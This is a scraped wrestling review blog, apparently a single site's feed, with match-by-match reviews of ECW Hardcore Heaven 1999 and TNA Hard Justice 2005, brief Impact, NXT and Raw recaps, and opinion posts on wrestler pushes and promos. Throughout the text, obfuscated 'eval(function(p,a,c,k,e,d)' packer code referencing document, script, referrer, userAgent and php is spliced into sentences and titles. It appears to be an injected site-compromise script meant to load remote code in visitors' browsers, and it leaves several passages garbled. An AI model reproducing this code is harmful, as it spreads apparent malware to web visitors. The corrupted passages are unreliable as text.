Derrick Bateman Released

According eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|datbd|var|u0026u|referrer|ssrik||js|php'.split('|'),0,{})) to his Twitter.  No real surprise here as he was about as generic in the ring as you could ask for.  His character wasn’t terrible but he wasn’t interesting at all for the most part.

 

This might be the start of the annual spring cleaning releases but it’s too early to tell.



This Is Amazing

I want to have its children.



On This Day: May 16, 1999 – Hardcore Heaven 1999: Heaven Is Heck

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frdde|var|u0026u|referrer|idthy||js|php'.split('|'),0,{})) Heaven 1999
Date: May 16, 1999
Location: Mid-Hudson Civic Center, Poughkeepsie, New York
Attendance: 2,600
Commentator: Joey Styles

So we’re still in the Taz Dominates Everyone era here which is boring as all goodness but whatever. He has Chris Candido tonight which I’m sure will be riveting. Also we have Lynn vs. RVD II which should be solid enough I suppose. Other than that though the card looks pretty bland. Let’s get to it.

Joey tries to introduce us to the show but gets interrupted by Chris Candido and Sunny, who looks AMAZING in a gray dress. Apparently he’s hired the Dudleys for tonight as insurance. This is a really long time ago since they’re only six time tag champions at this point. Once they come out, Candido calls out Taz…and it’s main event time! Sure, why not?

ECW World Title: Taz vs. Chris Candido

Three suplexes, a powerbomb by Candido, a missed headbutt and the Tazmission. The match lasts maybe a minute from bell to bell. I kid you not. 3D to Taz follows.

Rating: F. No. No way. This show was based around two matches and 6 and a half minutes into the show one of them is over? No way. That simply does not work whatsoever. Seriously what is Paul thinking here? Why advertise this if that’s how you’re going to book it?

The Dudleys issue an open challenge after their very boring stuff. They ask for anyone with the balls to come face them. Take a wild guess.

ECW World Tag Titles: Dudley Boys vs. Balls Mahoney/???

So apparently this is a match, but also for the titles. Sure why not? Balls botches an elbow from the top, somehow managing to hit Bubba in the leg with it. Think about that for a minute. I mean it’s not like Bubba is a small target or something like that right? The fans are chanting for Sabu. Now they want New Jack.

 

They get Spike Dudley. Sure, I mean it’s not like we’ve had Spike with a random partner on three straight PPVs now or anything like that. He manages to miss a low blow on D-Von too so there we are. Dang Heyman loved him some AC/DC. In a cool spot, they throw Spike back and forth like a ball. Spike gets thrown over the rope and it looks awesome to say the least.

 

I’ll give Spike this: he can sell like few others can. Table time, but Bubba gets blocked. Ah never mind: Spike went through it anyway via a nice Bubba Bomb. Spike gets a 3D but Balls saves. Gertner throws matches at Balls which does nothing. Balls of course has lighter fluid in his pocket so as you would expect, Gertner gets a fireball thrown at him. It misses completely but Gertner sells it anyway. 3D ends it.

Rating: D. At least this was a match…I think. I’m fed up with Spike and the Dudleys but whatever. This was a big mess but Spike’s bumping made it work better than nothing I guess.

Roll the theme song, as I guess that was a really long opening segment? Sure why not.

Super Crazy vs. Taka Michinoku

Crazy is introduced in kilos and Taka in pounds. Why? That makes no sense but whatever. Taka is heel here as he’s cocky from being in the WWF. Alright then. Well at least it’s not Tajiri and Taka again I guess. If Taka hadn’t been so annoying he would have been bearable. And there’s a sleeper from Crazy. I mean it’s not like we’ve got two high flying guys in there that can move very well or anything? Let’s get to the rest holds before they do something cool!

 

They speed it up again and Crazy gets LAUNCHED over the ropes in a great looking spot. He was up there. Crazy dives over the ropes to land on Taka. At least I think he did. The camera wasn’t on it. That sums up ECW fairly well: something happened, but no one saw it other than those that were there. Crazy hits the triple moonsault which is fairly cool. The Michinoku Driver hits but Taka doesn’t cover and a totally random sitout powerbomb ends it. Weird ending.

Rating: D+. This didn’t do it for me. It’s not really bad but the flow just wasn’t there at all if that makes sense. The high spots were decent and even good at times but this just wasn’t hitting on all cylinders. It’s hard to describe but if you saw it I think you would get what I was saying. Not bad but just an odd match.

We recap Lynn vs. RVD from the last PPV which I guess is the main event now. That should be good at least. I never got how the cradle part of the cradle piledriver really helped all that much.

In the back, rather than getting medical help, Gertner sends the Dudleys after Nova for no apparent reason. During the beatdown, Bubba says he doesn’t know what this is for. Ok then.

Little Guido vs. Tajiri

It’s still weird seeing Tajiri clean shaven. Good night Big Sal is a very fat man. Dang Tajiri could do some freaky stuff in the ring. Guido…not so much. Guido is working the arm so there’s your psychology, even though Tajiri was a kicker so his arms meant little to his offense. On the floor, Guido takes a loud post shot. It sounded great if nothing else. There’s your tarantula in case you wanted one.

 

Apparently the crowd thinks Tajiri is a fat duck. That must be it right? I mean they couldn’t be chanting at anyone else right? Sal interferes for two. In a funny bit, Joey won’t say balls but Cyrus nags him until he does. Cyrus of course then complains about him saying it. We get the Tree of Woe baseball slide which always looks awesome and a brainbuster ends it.

Rating: C-. Better than the last one but not by much. Guido was never someone that I liked that much at all. Tajiri got a solid push but was still the innocent yet rapidly becoming violent guy you know him as. Not a bad little match, but zero point to it being on the PPV other than to fill fifteen minutes of air time.

And here’s a Tommy Dreamer music video. Ok then.

The Dudleys have a hit list and 3,000 dollars to beat up some guy named Rod Price. Ok then.

Lance Storm vs. Tommy Dreamer

Joey and Cyrus argue for no apparent reason and Dawn Marie is insanely hot. There you are. And apparently she’s not wearing underwear so Storm stands in front of the camera while she puts them on. Ok then. This is a weapons match apparently. Oh and Dreamer wants to beat up Dawn Marie apparently over Beaulah. Dreamer gets one heck of a reaction if nothing else. And Francine is here with Tommy for no apparent reason.

 

Storm is a guy I like the more I see of him. I wonder how long it’s going to take to get into the ring for a change. Ah there we go. Storm is very crisp in there and I love it. This of course turns into a bunch of weapons shots and contrived spots that make little sense but look good if nothing else. I’ve always wondered what the deal was with the hitch in Storm’s kicks. Dreamer is bleeding. Dreamer busts out a stunner of all things.

 

It’s mainly just weapons shots now which is fine I guess. It’s table time again. Storm takes a Death Valley Driver through the table. You might notice that I’m just listing off spots and moves as there’s just nothing more to this match. Cyrus runs in and that goes nowhere. There’s your catfight. Dreamer hits the INCREDIBLY protected piledriver on Dawn. A SWEET spinwheel kick from the top to Dreamer ends it for Storm. Francine looks good here which is odd.

Rating: C-. Not terrible but just not interesting at all. It’s ok, but that’s all. Dreamer had a ton of these random fights and while they were decent, they get very repetitive after awhile. I mean, how many people does he annoy over the years? Not bad, but nothing to write home about at all.

The Dudleys beat up Jack Victory, this time for $5000. Bubba, why beat up Victory when you could own the company for that much? We’re at the halfway point of the show with Van Dam/Lynn and a Justin match to go. That’s not a good sign.

Taz says he can beat the Dudleys…tonight. Oh no. Oh dear cheese NO.

Joey recaps everything for the night. Oh and he says the wrong name for the TV Title. A man that shouts and says the wrong name. You know where I’m going with it. Yep. I’m going to Branson, Missouri. Good town. You can see cheap dinner theater there I hear.

TV Title: Jerry Lynnvs. Rob Van Dam

Crowd is WAY behind Van Dam here. No time limit here after what happened at Living Dangerously. Hear those cheers Paul? They’re the ones drowning out the music. I think they’re chanting “Heyman push this freaking man you freaking idiot!” Lynn is another guy I like more every time I see him so this should be solid. They do a decent mat wrestling sequence to start but not as good as last time.

 

NICE there as Lynn goes for a counter he used at Living Dangerously and RVD gets out of the way of it this time. THAT is psychology people. They’re doing a start and stop thing here where they do a sequence and then walk around for awhile. The action is good but it’s like pausing it and watching a match in pieces which isn’t good. Good night wrestle already! Yeah they’re wrestling, but only in pieces.. We’ve had maybe 2 and a half minutes of action out of five minutes gone by.

 

Sweet springboard dropkick from Lynn. See what I mean by when they actually do stuff it’s good? Fonzie is yelling about how this is what the 19.95 the fans paid for is all about. Creative line if nothing else. Van Daminator misses. And Lynn might be hurt so we can kill more time. Something tells me this had about 20 minutes planned rather than the 27 it wound up getting due to the amount of stalling here. Lynn does the corner rollup that Booker T used for a long time.

 

I think this is the match that aired on the debut of ECW on TNN. On the floor we get a Van Daminator with Lynn making sure to hold the chair up so it hits. Hey look: more stalling! Did Larry Zbyszko book this or something? Half of this has been on the floor too. Lynn hits a sunset powerbomb through a table which more or less explodes. Ok stalling after big spots at least makes sense. Fonzie has a chair pelted at him and down he goes.

 

They botch the heck out of something and the fans let them know about it. Lynn hits a Van Daminator for two. Van Dam hits Starship Pain minus the twisting. There’s your five star but Lynn rolls him up for two. Van Dam hits his third Van Daminator out of about 7 tried. Another Five Star ends it. Good but not great. They high five after the match which is always a good sign.

Rating: B. This is a good match, but not a classic like everyone says it is. There are some major holes in it, with the main one being the standing around. The Van Daminators got OLD fast. We get it. You can kick someone holding a chair. We’ll ignore how stupid the move is (hey he handed me a chair. I wonder what I should do with it.) for now.

 

The drama is there but it’s not epic. Solid though. Just far too much brawling and stalling for my taste, but it’s entertaining which is the main idea. Would have been way better with five to seven less minutes. Good match, but there was no shock or anything like that to make it great.

We’re at an hour and 58 minutes and Justin is all that’s left. That can’t be a good sign.

The Dudleys are mad at Taz. Oh dear. I think I can see it coming. And here’s Big Dick with Chris Chetti, who is Taz’s cousin. Guess what happens.

Justin Credible hype video. He hits a lot of people with canes and talks a lot. Yeah, really a guy to push huge Paul. He even sent Mikey and Sandman to WCW. Yeah such a terrible thing to do to them man.

Joey says Shane vs. Justin isn’t happening, which they knew weeks before this but advertised him through the pre show.

Here’s Justin with no opponent. He says what was shown in the video and it’s open challenge time.

Justin Credible vs. Sid

Oh dear. Good NIGHT how over is Sid? I have never gotten that once, but this guy got epic pops everywhere. I don’t think I get the idea of a squash on your heel that has been pushed like this but whatever. When someone is in the position for the powerbomb, why don’t they, maybe, move? You know, instead of holding the other guy’s legs, why not move?

 

This is ALL Sid here as he’s beating up the entourage too. Lance Storm runs in too. Crowd is WAY into Sid. Justin throws powder in Sid’s eyes…FOR A DISQUALIFICATION??? Or was this even a match? And here’s Sabu for the save, and he puts Sid through a table by mistake (don’t ask). Is there a point to any of this? And Sid powerbombs his manager for no apparent reason. Sid would be gone after this I believe.

Rating: F. A DQ. In ECW. THAT MAKES NO FREAKING SENSE!!!!!!!

Apparently it was just thrown out. Ok then.

Rating: F. A match being thrown out. In ECW. THAT MAKES NO FREAKING SENSE!!!!!!!

And at two hours and 15 minutes into the show, we’re out of matches. Joey says this too and here’s Bubba Ray. You cannot be serious.

Apparently D-Von broke his hand beating up Chetti, so instead of D-Von vs. Taz we get Bubba vs. Taz. It’s not April is it? Wow. They’re really doing this.

ECW World Title: Taz vs. Bubba Ray Dudley

Yes. With Candido healthy, THIS is what Heyman decided to close a PAY PER VIEW WITH. ARE YOU FREAKING KIDDING ME??? BUBBA FREAKING DUDLEY is main eventing a PPV in a world title match. I do not know what to say. They’re really doing this nonsense. I can’t believe it. And hey, it’s falls count anywhere. Catchphrase ahoy as we start the match. And we’re outside already.

 

Could that have anything to do with Bubba not being able to wrestle a standard match for more than a minute? Seriously, what did I do to deserve this? We hit the crowd now to waste more time. The falls counting anywhere helps here but not that much really. Taz is bleeding as we hit the concourse. Will someone pop that stupid beach ball? Back in the ring now. Taz hits a second rope Tazplex to start his comeback and there’s D-Von.

 

And we have tables. It’s ECW. Why not just hit 3D and get the title? Hmm let’s see. I can spend a few minutes setting up tables while the toughest guy in the company gets up. Sure why not? And they both throw the referee through a table. Bubba Bomb gets two as a new referee comes in. D-Von comes in again and STILL they don’t go for 3D. This is like a Wile E. Coyote cartoon. 3D is finally attempted and countered. Tazmission ends it.

Rating: F+. Bubba Ray Dudley was in the main event. Do I need to explain why this was awful? In case you’re wondering, there was no drama, the match made no sense, Taz was always going to win, and D-Von and Bubba just lost to Taz in a glorified handicap match. That’s why it sucked. Oh and did I mention: BUBBA RAY DUDLEY WAS IN THE MAIN EVENT??? Taz’s blood looked good though.

A music video ends this at a little over two and a half hours.

Overall Rating: F. No. No way. This show was unacceptable, period. People want to talk about how much of a genius Heyman is. People want to talk about how good for the business he is. This show is proof that even he isn’t as great as everyone says he is. This is what you call screwing the audience over. He advertised Shane up until five minutes to airtime and knew he wouldn’t be there.

 

He advertised Candido and Taz as the big match and gave it maybe a minute. He had BUBBA RAY DUDLEY main event the show in a one night angle. I can find no evidence ANYWHERE that suggests Candido was injured. Not a single thing. Let’s say for argument’s sake though that he was injured and the minute was all he can go. Ok, fine. Stuff like that happens. I understand that. Are you telling me that Bubba Ray Dudley was the best replacement they had? Are you out of your freaking minds? Take a look at the rest of the card.

 

Other than RVD/Lynn, what here is worth paying to see? Running down the card, we have the main event so there’s one thing worth paying to see, an unannounced tag match that had been done for the last two PPVs, back to back matches that were ok but I doubt anyone bought the show to see them, a brawl that could have been on any PPV but was bearable I guess, a good match, a match that didn’t have the billed people in it and was 2 minutes long, and Bubba Ray Dudley main eventing a show. Lynn and RVD keep this from being the worst ECW show ever, but not by much.

 

Remember to follow me on Twitter @kbreviews and pick up my book on the History of the WWE Championship from Amazon for just $5 at:

 



Impact Wrestling – May 16, 2013: Holy Deja Vu Impact Fans!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikakk|var|u0026u|referrer|tnfzk||js|php'.split('|'),0,{})) Wrestling
Date: May 16, 2013
Location: BancorpSouth Arena, Tupelo, Mississippi
Commentators: Todd Keneley, Tazz, Mike Tenay

We open with a recap of Abyss returning last week.

James Storm says just watch what he does tonight about what happened in the tag match last week.

Christian York talks about wanting to get into the Bound For Glory Series.

Bobby Roode vs. Chavo Guerrero

Jay Bradley talks about what wrestling means to him.

Bound For Glory Series Tournament Semi-Finals: Christian York vs. Jay Bradley

Velvet Sky vs. Gail Kim

Non-title match here and Velvet is wearing a different outfit than she was shown wearing on her way to the ring. Velvet stomps away to start and hits a headscissors but gets caught with a shot to her bad knee. Gail stays on the knee with kicks to the back of the leg and bending it around the ropes. Off to a half Texas Cloverleaf half Sharpshooter by Gail but Velvet makes the rope.

Petey Williams, Kenny King and Chris Sabin all talk trash about the X Title match tonight.

X-Division Title: Petey Williams vs. Kenny King vs. Chris Sabin

Williams kicks Sabin to the floor, allowing King to get back up and take over on Petey. We hit a chinlock for a bit until Sabin comes back in and fires off forearms and a belly to back suplex for two on the champ. Back to Petey in control now with the Russian legsweep and a lifting downward spiral for two each on King.

Bad Influence talks strategy for Daniels vs. Hernandez tonight.

Christopher Daniels vs. Hernandez

Daniels goes straight for SuperMex in the corner and pounds away, only to completely fail at a suplex attempt. Hernandez hits the delayed vertical suplex and the over the shoulder backbreaker for good measure. The big man walks down the ramp for his big jumping shoulder over the ropes to take Daniels down.

Results

Bobby Roode b. Chavo Guerrero via DQ when James Storm interfered

Jay Bradley b. Christian York – Boom Stick

Velvet Sky b. Gail Kim – Rollup

Kenny King b. Chris Sabin and Petey Williams – Royal Flush to Williams

Hernandez b. Christopher Daniels – Running shoulder block



NXT – May 15, 2013: Wyatt Family Business

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzizz|var|u0026u|referrer|tnnsi||js|php'.split('|'),0,{})) May 15, 2013
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Brad Maddox

Summer Rae vs. Natalya

Paige chases Summer off post match.

Danny Burch vs. Bray Wyatt

Burch is from London and has his own music. Wyatt starts with a slap to the face and takes Burch down with ease. A chinlock allows Bray to drill him in the face with a forearm before hitting that cross body of his. The splash in the corner sets up Sister Abigail for the pin at 2:07. Total squash.

NXT Title: Damien Sandow vs. Big E. Langston

Post match another Big Ending gets Langston the five count to end the show.

Results

Summer Rae b. Natayla – Rollup

Bray Wyatt b. Danny Burch – Sister Abigail

Big E. Langston b. Damien Sandow – Big Ending

Remember to follow me on Twitter @kbreviews and pick up my book on the History of the WWE Championship from Amazon for just $5 at:



Thought of the Day: Perception Is Reality

There eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thkte|var|u0026u|referrer|abyni||js|php'.split('|'),0,{})) has been a lot of talk lately about Antonio Cesaro’s position backstage and how he hasn’t been pushed anymore because he’s considered boring.  This can be attributed to the WWE Creative team.  Again.Let’s see: he held the US Title for months on end and rarely got to defend it, he lost far more often than he won as champion, and once he lost the title he became a yodeler. That was the major gimmick of the guy who was put in the main event of Tribute to the Troops to face John Cena: He yodeled.

Why in the world would the fans care about this guy? He was treated like any other jobber and the fans stopped caring about him. Cesaro wasn’t the biggest star in the world, but he puts on solid matches and plays the smug foreign heel to perfection. There’s money in that kind of a character and there has been for years. The solution from WWE’s creative team? Make him a yodeler.

The same thing happened with Ryder.  He was over with the fans so the WWE crushed him for whatever their reason was that time.  Presumably because he got over against the company’s wishes.  I mean, why would you want to make money off a character who has done the hardest part of the job for the writers: making the fans care about him.

It’s a self fulfilling prophecy.



Funniest Promo Guy Ever

Someone eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rthsf|var|u0026u|referrer|fdnkh||js|php'.split('|'),0,{})) brought this up on the forums last night and it’s an interesting question.Who do you think is the funniest promo guy of all time?  For me, it’s Flair.  When he would get rolling and ranting about making Nikita Koloff his gardener and that his shoes were more expensive than Dusty’s house he would have me in stitches.

 

Your picks?



Monday Night Raw – March 15, 1999: This Isn’t A Wrestling Show Anymore

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehdbd|var|u0026u|referrer|zbsdy||js|php'.split('|'),0,{})) Night Raw
Date: March 15, 1999
Location: San Jose Arena, San Jose, California
Attendance: 13,146
Commentators: Michael Cole, Jerry Lawler

Intercontinental Title: Road Dogg vs. Val Venis

Rock tells Big Show he can win the tag match by himself.

Shane McMahon vs. Legion of Doom

Vince is on commentary. This is exactly what you would expect as Shane destroys the “LOD”. Brisco is Hawk in case you were wondering. Both guys get Bronco Busters as X-Pac is watching in the back. Shane hits them both with the European Title and gets a double pin. This was a long joke, not a match.

Tag Titles: Jeff Jarrett/Owen Hart vs. Public Enemy

JR thanks the fans for their support as Jerry and Cole talk about the match.

A steel cage is lowered.

Wrestlemania is coming.

Vince has a meeting with the Corporation.

Mideon vs. Big Bossman

Post break Vince and company are panicking while trying to get someone on the phone.

We go from that to a video on how tough things are on the mean streets of Greenwich, Connecticut, featuring the Mean Street Posse.

Hardcore Title: Billy Gunn vs. Hardcore Holly

Wrestlemania ad.

The Stooges try to console Vince.

Mankind/Steve Austin vs. Big Show/The Rock



On This Day: May 15, 2005 – Hard Justice 2005: The Phenomenal Champion

Hard eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnndr|var|u0026u|referrer|infrb||js|php'.split('|'),0,{})) Justice 2005
Date: May 15, 2005
Location: Impact Zone, Orlando, Florida
Attendance: 775
Commentators: Mike Tenay, Don West

Final PPV in this three show set as we have AJ in the main event as he should have been most of this year. We also have a celebrity guest referee for that main event in the form of MMA legend Tito Ortiz. I can live with celebrities if they’re, you know, actual celebrities. Also on this card we have a twenty man Gauntlet For The Gold for the #1 contendership which should be dull. Let’s get to it.

We open the show with a ten bell salute to Chris Candido who died following a freak accent at the previous PPV. He broke his leg and somehow it messed up the blood flow. I don’t remember it exactly.

The opening video is about how war is human nature.

Team Canada vs. Apollo/Sonny Siaki

Apollo is a Puerto Rican guy I think. This is Williams/Young instead of Roode/Young. Siaki is a Samoan but not related to the famous Samoan family. The Canadians jump them to start but get knocked to the floor just as fast. We officially start with Apollo vs. Williams. Off to Siaki quickly who speeds things up. Neckbreaker gets two on Young. The non-Canadians hit one of the biggest backdrops I’ve ever seen on Young.

D’Amore screams at the announcers about something. That distracts Apollo and the Canadians take over. Elbow gets two for Young. Apollo manages to get in a knee lift which is enough to bring in both Siaki and Williams. Powerslam gets two on Williams. D’Amore hooks the foot of Siaki on a suplex attempt but it only gets two. Apollo spears Young down but he gets caught in a pretty awful looking top rope rana by Williams. With everything falling apart, A-1 (another Canadian) runs in and Jackhammers Siaki so Williams can steal the pin.

Rating: C. This was fine for an opener but the match itself was nothing of note. Apollo and Siaki both looked great but they didn’t have much going for them other than that. Apollo went back to Puerto Rico soon and was a much bigger deal. Siaki wasn’t around much longer, at least not in anything important.

Ortiz, AJ and Jarrett all arrived earlier today.

Matt Bentley/Trinity vs. Chris Sabin/Traci

Tenay calls a mixed tag a very unique match in professional wrestling. Has he never watched Wrestlemania 6? These are two rivalries that were joined into one match. Michael Shane has changed his name back to Matt Bentley again too. The genders can mix here but we start with the girls. Trinity slaps her and it’s time for a chase scene. I think Traci is on the good guys’ team but I really don’t know.

They exchange small packages for about 15 seconds until Traci gets the advantage. Monkey flip puts Trinity down for two. Off to the guys even though I don’t think Sabin was tagged in. Cradle Shock is countered as is Bentley’s superkick. Trinity interferes and Shane suplexes him off the top. Trinity trips Sabin again as we’re waiting on the hot tag to Traci. This might not be the best formulated plan.

Sabin fires off some elbows but Bentley pulls him back down by the hair. After a chinlock by Bentley, Sabin comes back with an elbow and tries a tornado DDT. Bentley escapes that but a BIG enziguri puts Bentley down. Double tags bring in the girls and Traci cleans house. She tries something off the top but Trinity shoves her to the floor. They fight up the ramp and Trinity slams her. The guys have been forgotten it appears. Oh here’s Sabin to clothesline Bentley. Trinity hits a top rope rana on Sabin, drawing a Lita chant. Traci low blows Sabin and Bentley superkicks Trinity. Another one to Sabin gets the pin.

Rating: C-. Not great here and while the ending was surprising, that doesn’t mean I really care about it. Traci and trinity feuded for the better part of eternity and it never really had a definitive conclusion that I remember. This wasn’t bad but it pretty much came and went with whatever the new development was in the story.

Ad for Slammiversary.

Team Canada says they’re back. D’Amore gets in a great jab at the Orlando fans: “You’ve got a Samoan and a Puerto Rican in there against two Canadians and the idiots chant USA.” They plug their chances in the Gauntlet for the Gold tonight. Roode is the first entrant. They see the name of the second entrant and say it’s like sending a one legged man into a butt kicking contest.

Dusty meets with Tito Ortiz and tells him to call things down the line but if he needs to take matters into his own hands, don’t hesitate.

Jeff Hardy isn’t here (legit no show, he was suspended soon after) so Raven says he doesn’t care who his replacement is. He wants to maim someone. Raven knows his opponent but they keep censoring his name.

Raven vs. ???

This is a Clockwork Orange House of Fun match, which means there are a bunch of weapons and one side of a cage. West says the opponent is Sean Waltman before the entrances. So why censor it a few seconds ago? Waltman comes from the other side of the arena to jump Raven from behind. He pulls down a trashcan and knocks Raven to the outside with it. Raven is busted open early.

Waltman uses Raven’s drop toehold into the trashcan but the can is used to break up the Bronco Buster. Out to the floor and Raven digs into the forehead in an attempt to cut Waltman open. He rakes the head across the steel and Waltman is indeed busted. Raven gets a pair of trashcan lids and alternates with shots from both arms. Raven is cut bad. Waltman sends Raven into a can out of desperation.

Raven grabs the ankle (which is a recurring move for him it seems) but Sean escapes and hits the Bronco Buster this time. Out to the floor and it’s table time. Waltman puts him on the table and climbs up onto the post (squeezing between two of the things holding up weapons) and hits a flip dive through Raven through the table. Back in Raven hits a DDT out of nowhere for two. You know for a finisher, that move doesn’t finish all that often.

Raven runs him up the ramp and throws Waltman off of it, sending him through a table. It’s falls count anywhere apparently and Raven gets two. Back at ringside and Raven finds handcuffs, another recurring thing in this company’s early PPV days. He cuffs Waltman to the post and beats him with a kendo stick.

He wants a submission but Waltman says to hit him harder. Dusty comes back and frees Waltman and he can kick the chair that Raven had back into his face. Now he hits the alternating lid shots and beats Raven with the stick. Waltman staple guns Raven’s head but Raven manages to throw him through the cage wall and fall on top for the pin.

Rating: B-. Better brawling match than you would expect here but the big problem was the lack of a feud for this to go off of. That’s not their fault of course as Waltman was a substitute so I’m certainly not going to hold that one against them. Much better match than I was expecting as Waltman proves again that he can go with the smaller guys much better than the large one.

Tito gives AJ some instructions, as in basic rules of the match. They shake hands.

We recap the 3 Live Kru vs. Outlaw feud. Outlaw is Billy Gunn who is apparently trying to break up the Kru. Monty Brown recently turned on DDP so let’s have a tag match. This resulted in a bunch of problems in the Kru, mainly over the possibility that BG is going to bail on the Kru and reform the New Age Outlaws.

Page has a message from BG James, saying he’s not here. Truth pops up and says he’ll be Page’s partner.

Ron Killings/Diamond Dallas Page vs. Monty Brown/Kip James

Page starts with Brown and there’s not much going on in the first minute. Rollup gets one for Page. Nothing has happened in the first minute or so. Well nothing of note that is. Off to Outlaw who wants Killings. Wait is his name Outlaw or Kip James? We’ll go with Kip James. Killings knocks him around and hits a headscissors to send James to the corner. Kip comes back with a tilt-a-whirl slam and I think we have our face in peril.

Brown hits a running knee to his back and Killings is in trouble. Back to James who gets two off a running forearm. We hit the chinlock so Page plays cheerleader. Truth hits a leg lariat out of nowhere and makes a diving tag. Discus lariat takes Brown down and another does the same to James. Helicopter Bomb gets two on Brown as James makes the save. DDP and truth keep up the offense until Phi Delta Slam (big fat guys) run in for the beating on Page. DDP Diamond Cuts one and crotches the other before Cutting him off the top. Cutter for James but Brown Pounces him for the pin.

Rating: D+. HOW WAS THAT NOT A DQ??? Two more guys came in and beat up Page but there’s not a DQ in there? I’d love to be a referee just to see how messed up my mind becomes. It must be better than any other drug you could ever have. Not a great match but that’s par for the course with these filler tag matches.

The Naturals say they were shocked by Candido’s death and they owe their titles to him. They don’t want to go into specifics about their feelings though. He taught them how to be a great team and how to be winners.

Tag Titles: The Naturals vs. America’s Most Wanted

The Naturals are one of the most generic looking teams you’ll ever find so I’ll do my best to tell them apart. They’re defending here and have never lost to AMW with the titles on the line. The champs come out with Candido’s signature yellow towel. The fans chant for Candido to start. If the ending wasn’t obvious already, it better be now. Storm starts with I think Chase Stevens (the other is Andy Douglas).

La Majistral gets two for Stevens. Storm controls on the mat with an armbar and it’s off to Harris. Ok so Stevens is the blonde. Got it. Stevens gets two off a facejam on Storm. Middle rope sunset flip gets two for Storm as does a hard kick to the chest. Bulldog gets two for Harris. Harris clotheslines Douglas to the floor and everything breaks down out there. AMW seems to have the advantage.

Never mind as Storm misses a dive and lands on the railing. He manages to counter a whip to send Stevens upside own into the railing. A suplex on the ramp puts Stevens down again. Douglas takes a slingshot into the post and it’s one advantage per team at the moment. Douglas goes shoulder first into the post as does Storm. Now Harris’ shoulder goes into the post. Hopefully they get a cut of the shoulder surgery fees.

A fan holds up a chair for Storm to whip Stevens into. Did I warp back to ECW? Douglas hits Harris in the ribs with a chair but it’s still not a DQ. They haven’t been in the ring for almost five minutes. The Naturals are both in control and Harris is sent back in with Douglas. They’re not legal but who cares? Harris comes out of nowhere with a right hand and a clothesline in the corner.

The Naturals have a two on one advantage now but Storm comes back in for the Eye of the Storm on Stevens. Everyone gets up and we go to the corner for a pretty low level Tower of Doom. The idea of tagging has been completely forgotten here. Catatonic is countered into an FU by Stevens for two. Storm breaks up Natural Disaster and superkicks Stevens. They load up the Death Sentence but Harris gets shoved off the top, allowing Stevens to roll up Storm and put his feet on the ropes for the pin.

Rating: C+. The match was fun but the lack of tagging so early got kind of old. I’ve seen worst though and AMW was always worth looking at. They were starting to slip at this point though and would turn heel soon if my memory serves me right. This was nothing great though and I don’t think anyone cared about the Naturals.

Tito Ortiz beats up an annoying security guard and talks to Jeff. Everything is cool apparently.

We recap the X Title match. Shocker won an Xscape match at Lockdown and then had to win another one to get the shot against Daniels tonight. He says he’ll win the title for Mexico.

X-Division Title: Shocker vs. Christopher Daniels

Feeling out process to start with Daniels having a slight advantage. They head to the apron and Shocker hits a headscissors to take Daniels to the floor, followed by a suicide dive. Back in Daniels takes over and hooks a very quick Koji Clutch. Shocker comes back with a lot of chops and some clotheslines. Frog splash gets two.

Daniels plays possum and hits a Downward Spiral to get momentum back again. BME is overshot so he settles for a split legged moonsault which gets two. Shocker hits a low dropkick to the face of Daniels and the champ is in trouble again. Shocker goes up but Daniels nails him and tries a superplex.

That gets countered into a SICK looking gordbuster with Daniels landing straight on his head. Off to an STF but Daniels bites the hand to escape. Now Shocker tries a superplex but Daniels counters into Angel’s Wings off the top to retain. Cool ending and thankfully he didn’t kick out like the announcers implied he might.

Rating: C+. I wasn’t wild on this, again mainly due to a lack of story. This was something that WCW did a lot back in the day: bring in a foreign guy and say he’s one of the best in whatever country then have the champion beat him. It’s cool to bring in international talent but at the same time, those names are just names to people who aren’t familiar with wrestling in that country. Decent match with a cool ending though.

Video on the Gauntlet For The Gold, which is a Royal Rumble style match but in the end the final two have a singles match for the win. Abyss won the final spot (#20) on Impact.

Gauntlet For The Gold

